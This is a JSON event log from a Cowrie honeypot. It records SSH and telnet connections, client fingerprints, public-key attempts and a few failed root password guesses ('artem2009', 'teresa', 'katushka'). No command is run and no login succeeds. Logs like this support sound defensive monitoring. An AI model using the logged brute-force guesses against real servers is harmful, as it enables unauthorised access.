@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:45.962565Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:c7:02:37:38:6d:2b:49:e5:27:b1:dc:62:ce:fb:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArXDVuYnEQO0SP5732m1sWiQcS9ANrSQqBhgCrTX9PyAllL8Ta8dpFE7qDXZJDdps9+lG5/C0yj6nPs94cDIDo767/dZEHISzpJTaneuhSwQjS+MdGWkQHJbHJCCihB8QJZN2lPGUz1lWce9XwUuKLJ2uLgOLK868+An7X3yllqzlB2e2IGZrwsK+Bt5Oo76bN30o5z4e04TIBRlWj8xamuo9iQh5feBXs3q2LfDTOXUcVVwcR+2OiZtdK/Tsfi+OL+0PY00MQwAoWmGZqVNeXKQZ8fWFCQgcjcQ4o8z90bixzqZrvLvGn74nqMiAkI0/P8iZxqiASj1Vw64IM9SNVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:c7:02:37:38:6d:2b:49:e5:27:b1:dc:62:ce:fb:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.354260Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:c7:02:37:38:6d:2b:49:e5:27:b1:dc:62:ce:fb:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArXDVuYnEQO0SP5732m1sWiQcS9ANrSQqBhgCrTX9PyAllL8Ta8dpFE7qDXZJDdps9+lG5/C0yj6nPs94cDIDo767/dZEHISzpJTaneuhSwQjS+MdGWkQHJbHJCCihB8QJZN2lPGUz1lWce9XwUuKLJ2uLgOLK868+An7X3yllqzlB2e2IGZrwsK+Bt5Oo76bN30o5z4e04TIBRlWj8xamuo9iQh5feBXs3q2LfDTOXUcVVwcR+2OiZtdK/Tsfi+OL+0PY00MQwAoWmGZqVNeXKQZ8fWFCQgcjcQ4o8z90bixzqZrvLvGn74nqMiAkI0/P8iZxqiASj1Vw64IM9SNVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.359019Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:86:3f:07:3f:e2:42:ca:07:3c:b0:d3:f1:33:8c:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDULwjLe0JtM/MfyhAEiqU3U/2gNSbyKkS7BrP40L6qtnLoGyXMdUYJxjAXEIeF0jouOTFuhnpUrl2Hqe3IJNoyK0P24it60+FvXwr5iA+McrHgstbfC84S97cyYIHu4wD/WwB3+v3BtF5Wc9LzqOqSq00XXzJ8YJTmOKsJfIFg0kGx9Xqv9vonG4qvdCeHlfTs9gHdZ/dCjoODceUR24gvhsyRFHcm4j7Q6EBzz761yhsli3vDrFZ0j5Dq05u5buHbBeRRMZnaiWr8WvQryqbT2RTAn0thOH1kzxwxIUN1Nne9oVQ47rHB9uxVVF6W8hYJjeXmbMQPmcih/8YJ8eWJ96j12HT+3aKlVg5dG/GfBZvbkSO8gx/ENayFHdQjYnJr0Sq52t33z9Bl9/5AXc/vRpkhTz8Q/pRiXR8AvS4cwjUK1Uyw8LqKSkhLy9bC3rLbh44RjQORqep+fuf4IhNx0LulMIGlrTvJmuT49isVl0rBGqTX78+CTivOWj6LCh8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:86:3f:07:3f:e2:42:ca:07:3c:b0:d3:f1:33:8c:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.443530Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:86:3f:07:3f:e2:42:ca:07:3c:b0:d3:f1:33:8c:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDULwjLe0JtM/MfyhAEiqU3U/2gNSbyKkS7BrP40L6qtnLoGyXMdUYJxjAXEIeF0jouOTFuhnpUrl2Hqe3IJNoyK0P24it60+FvXwr5iA+McrHgstbfC84S97cyYIHu4wD/WwB3+v3BtF5Wc9LzqOqSq00XXzJ8YJTmOKsJfIFg0kGx9Xqv9vonG4qvdCeHlfTs9gHdZ/dCjoODceUR24gvhsyRFHcm4j7Q6EBzz761yhsli3vDrFZ0j5Dq05u5buHbBeRRMZnaiWr8WvQryqbT2RTAn0thOH1kzxwxIUN1Nne9oVQ47rHB9uxVVF6W8hYJjeXmbMQPmcih/8YJ8eWJ96j12HT+3aKlVg5dG/GfBZvbkSO8gx/ENayFHdQjYnJr0Sq52t33z9Bl9/5AXc/vRpkhTz8Q/pRiXR8AvS4cwjUK1Uyw8LqKSkhLy9bC3rLbh44RjQORqep+fuf4IhNx0LulMIGlrTvJmuT49isVl0rBGqTX78+CTivOWj6LCh8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.448014Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:37:d2:1b:42:79:27:ae:8b:13:fd:0b:73:f3:9e:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDT2Y4bYk4rEVnFij2noxt5PV9qYhVYbpQ0jz9KHLuwEDkQTNNInGZd3lSlqoCuZH/tFKEj+/GaG9PHPhmTQk+GsHDE6gfeoW1a6L+pYU1hglnLNxM6txMxviq86mukTLmkAYASyWHJk6Rzkw4xpE7ojwqWkFF7LDwSXDkhCjR6lyMxEdlzATIj0gnB6V+Ax/Ha7vrpA271Un/dMxjeaKyqBuU9zr+cye5z1csq7Df99JAcaclHsukFXhojr2rFhy/o/QXX0g6EYjkcphpKcgXkI/TtYMVwKitR6jdaD0Dk1S625NJDIezaga7eaj8uNafwP4Qj2e9tdN7pVoX6cV6vzOrQ9MO2MT6XMNYW5+JGWJusxDc7XDQgkAP0s4YBhVWtAejKiYtaLgvSFu7Ix50H1u6xRJvgJxkw6VPyJuRAgr3WntSqkl+fg2V5ZscrNwsu8s05PimEkNtZC4KhxLni8pcLq7aumCqG48PqYe6yk0Nfc0qMWf8RZJSH0DC143QTaiQzIpSuVxJ0ElHlmIHsTuyTbUGnWFXTvjYsj/0kuCHbkIWV1dUmmfpojBAIwNcEdOTRBiagRu+3ss469gxQraY9LEZ1nkM7RJtH5kJArtHjCdKRYybGFOs4dwlBXJZd9Z4/J5tiMaXzbVLa9+60UzpSAkJmt1t6S8W5WkMFyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:37:d2:1b:42:79:27:ae:8b:13:fd:0b:73:f3:9e:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.537022Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:37:d2:1b:42:79:27:ae:8b:13:fd:0b:73:f3:9e:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDT2Y4bYk4rEVnFij2noxt5PV9qYhVYbpQ0jz9KHLuwEDkQTNNInGZd3lSlqoCuZH/tFKEj+/GaG9PHPhmTQk+GsHDE6gfeoW1a6L+pYU1hglnLNxM6txMxviq86mukTLmkAYASyWHJk6Rzkw4xpE7ojwqWkFF7LDwSXDkhCjR6lyMxEdlzATIj0gnB6V+Ax/Ha7vrpA271Un/dMxjeaKyqBuU9zr+cye5z1csq7Df99JAcaclHsukFXhojr2rFhy/o/QXX0g6EYjkcphpKcgXkI/TtYMVwKitR6jdaD0Dk1S625NJDIezaga7eaj8uNafwP4Qj2e9tdN7pVoX6cV6vzOrQ9MO2MT6XMNYW5+JGWJusxDc7XDQgkAP0s4YBhVWtAejKiYtaLgvSFu7Ix50H1u6xRJvgJxkw6VPyJuRAgr3WntSqkl+fg2V5ZscrNwsu8s05PimEkNtZC4KhxLni8pcLq7aumCqG48PqYe6yk0Nfc0qMWf8RZJSH0DC143QTaiQzIpSuVxJ0ElHlmIHsTuyTbUGnWFXTvjYsj/0kuCHbkIWV1dUmmfpojBAIwNcEdOTRBiagRu+3ss469gxQraY9LEZ1nkM7RJtH5kJArtHjCdKRYybGFOs4dwlBXJZd9Z4/J5tiMaXzbVLa9+60UzpSAkJmt1t6S8W5WkMFyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.540976Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:60:46:16:ce:5a:6e:97:8d:f2:62:4d:2d:99:aa:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeFBzLI7vqKXP7OcCFqeGiAgdGs6MpDgG5k8A+Rqhuy542IgaEjSEboMKRyH02Q/aLkUIKxGqLH+jZ2afQ0g0fqx/biI4zDYoy6SGF2kgCjFoEGSdMdiuWEdkfom1c1LF65Nkp1OpU/HSuhEoZaiCuUYx4DpQ+ZP2zsu5hEVVPTbrCsLGnIhtxjBO9mUEfC86ai5qeb8tLJ8g40WJoId9pwwY3+oAIqWly23LHUhxVbaJOlU+nPc6ONxs3KAH75U/y+m8QmY24QOknrFqiUijAAH4663fct0wePsdVS2RZg0PmSMGEqGsiOLFN1Z9Z1NrQOPxvMYndrPGAomPs1PzTD2+c1XhI55v1GeJEyLdHDVloA6Zm7wITTWTdugUE9TlXr4hHWTZ9QbDTtujroNrK9o2Ms7PzqCRJKMfssGbQb5zXlbVchk+BbFkYMQF14jpzX5eAIk540vABcDpO3hcDgXmoUy6O+u/57gnqSfLPmiSXu95f8S9nbHO4RrDvmh0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:60:46:16:ce:5a:6e:97:8d:f2:62:4d:2d:99:aa:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.625429Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:60:46:16:ce:5a:6e:97:8d:f2:62:4d:2d:99:aa:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeFBzLI7vqKXP7OcCFqeGiAgdGs6MpDgG5k8A+Rqhuy542IgaEjSEboMKRyH02Q/aLkUIKxGqLH+jZ2afQ0g0fqx/biI4zDYoy6SGF2kgCjFoEGSdMdiuWEdkfom1c1LF65Nkp1OpU/HSuhEoZaiCuUYx4DpQ+ZP2zsu5hEVVPTbrCsLGnIhtxjBO9mUEfC86ai5qeb8tLJ8g40WJoId9pwwY3+oAIqWly23LHUhxVbaJOlU+nPc6ONxs3KAH75U/y+m8QmY24QOknrFqiUijAAH4663fct0wePsdVS2RZg0PmSMGEqGsiOLFN1Z9Z1NrQOPxvMYndrPGAomPs1PzTD2+c1XhI55v1GeJEyLdHDVloA6Zm7wITTWTdugUE9TlXr4hHWTZ9QbDTtujroNrK9o2Ms7PzqCRJKMfssGbQb5zXlbVchk+BbFkYMQF14jpzX5eAIk540vABcDpO3hcDgXmoUy6O+u/57gnqSfLPmiSXu95f8S9nbHO4RrDvmh0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.630140Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:eb:46:79:5f:ea:f7:cb:68:ae:50:cf:32:3d:c5:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+RecsxqsTriCsOHp9Rxtvknn4yRakeVuzgI3SSUwugiAL/r2lu+oDWW44TvmcGnv5hI+nn00miDe2lG2oAdDjzZ3lUX5QYbCOihtD5+DG4uoO00HEBcrvBbCZ2eLNrTz4HjcBMWURm1kDheJwNx/yiIdCmZafh4+7mwgmKTw/jbKUVWPn68ga8IVG0lsjJ+B0s+qywO8CZUL3Pc5wXKNz5HEQ+OIxQm099MV2NaJ2/x+lyEBhB3g0j9wRjhu7yVKa7sn4VRDLG3WC+VTxh7q80vvjVyrw1+vOmHBbm+oOvWmlG5Vu7bs4rucb3GR86n6CbA4QtPJL6DEpADu40MKyoz21X2UUKxNfKEDnA9mntIn8Dw2lUjmGvU2NGuKqxc1CCu8mrTm7V/F2/xibSfIvp3ckvW3YMd9MPmt0bVkJBRdS5soBrrQgyxgA3X7ROeGlvgz3bqe7QEnozBz/+z/V5QYds61+kCi9nKYzs0+ONj4B82suLUvdvoJ8oJB1UpU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:eb:46:79:5f:ea:f7:cb:68:ae:50:cf:32:3d:c5:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.714501Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:eb:46:79:5f:ea:f7:cb:68:ae:50:cf:32:3d:c5:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+RecsxqsTriCsOHp9Rxtvknn4yRakeVuzgI3SSUwugiAL/r2lu+oDWW44TvmcGnv5hI+nn00miDe2lG2oAdDjzZ3lUX5QYbCOihtD5+DG4uoO00HEBcrvBbCZ2eLNrTz4HjcBMWURm1kDheJwNx/yiIdCmZafh4+7mwgmKTw/jbKUVWPn68ga8IVG0lsjJ+B0s+qywO8CZUL3Pc5wXKNz5HEQ+OIxQm099MV2NaJ2/x+lyEBhB3g0j9wRjhu7yVKa7sn4VRDLG3WC+VTxh7q80vvjVyrw1+vOmHBbm+oOvWmlG5Vu7bs4rucb3GR86n6CbA4QtPJL6DEpADu40MKyoz21X2UUKxNfKEDnA9mntIn8Dw2lUjmGvU2NGuKqxc1CCu8mrTm7V/F2/xibSfIvp3ckvW3YMd9MPmt0bVkJBRdS5soBrrQgyxgA3X7ROeGlvgz3bqe7QEnozBz/+z/V5QYds61+kCi9nKYzs0+ONj4B82suLUvdvoJ8oJB1UpU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.718682Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:46.804571Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59470,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af39b20e5e0","protocol":"telnet","message":"New connection: 69.4.83.194:59470 (159.203.135.109:23) [session: 3af39b20e5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:56.705817Z"}
{"eventid":"cowrie.session.closed","duration":36.09089398384094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:01:32.796580Z","src_ip":"69.4.83.194","session":"3af39b20e5e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42138,"dst_ip":"10.17.0.5","dst_port":22,"session":"2802479358db","protocol":"ssh","message":"New connection: 185.236.22.41:42138 (10.17.0.5:22) [session: 2802479358db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:01:57.435251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:01:57.440430Z","src_ip":"185.236.22.41","session":"2802479358db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:01:57.551111Z","src_ip":"185.236.22.41","session":"2802479358db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2009","message":"login attempt [root/artem2009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:01:57.892356Z","src_ip":"185.236.22.41","session":"2802479358db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:01:59.003597Z","src_ip":"185.236.22.41","session":"2802479358db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42072,"dst_ip":"10.17.0.5","dst_port":22,"session":"f24eb7bd971b","protocol":"ssh","message":"New connection: 103.176.20.57:42072 (10.17.0.5:22) [session: f24eb7bd971b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:02:21.371528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:02:21.376852Z","src_ip":"103.176.20.57","session":"f24eb7bd971b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:02:21.628376Z","src_ip":"103.176.20.57","session":"f24eb7bd971b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teresa","message":"login attempt [root/teresa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:02:22.382106Z","src_ip":"103.176.20.57","session":"f24eb7bd971b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:02:23.641387Z","src_ip":"103.176.20.57","session":"f24eb7bd971b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":56770,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc6e61e0e10","protocol":"telnet","message":"New connection: 79.139.59.21:56770 (159.203.135.109:23) [session: 2fc6e61e0e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:02:23.670396Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58916,"dst_ip":"10.17.0.5","dst_port":22,"session":"79387ff540e5","protocol":"ssh","message":"New connection: 103.82.132.16:58916 (10.17.0.5:22) [session: 79387ff540e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:13.076426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:13.081000Z","src_ip":"103.82.132.16","session":"79387ff540e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:13.334430Z","src_ip":"103.82.132.16","session":"79387ff540e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katushka","message":"login attempt [root/katushka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:14.086620Z","src_ip":"103.82.132.16","session":"79387ff540e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:15.341423Z","src_ip":"103.82.132.16","session":"79387ff540e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00336861610413,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:23.673620Z","src_ip":"79.139.59.21","session":"2fc6e61e0e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40680,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa78301420a9","protocol":"telnet","message":"New connection: 180.235.129.180:40680 (10.17.0.5:23) [session: fa78301420a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:50.462376Z"}
{"eventid":"cowrie.session.closed","duration":4.119476556777954,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:54.581755Z","src_ip":"180.235.129.180","session":"fa78301420a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":55960,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5871cd737a","protocol":"telnet","message":"New connection: 165.22.57.101:55960 (159.203.135.109:23) [session: ac5871cd737a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:04:55.402282Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc539aa43f2","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: cdc539aa43f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:18.467722Z"}
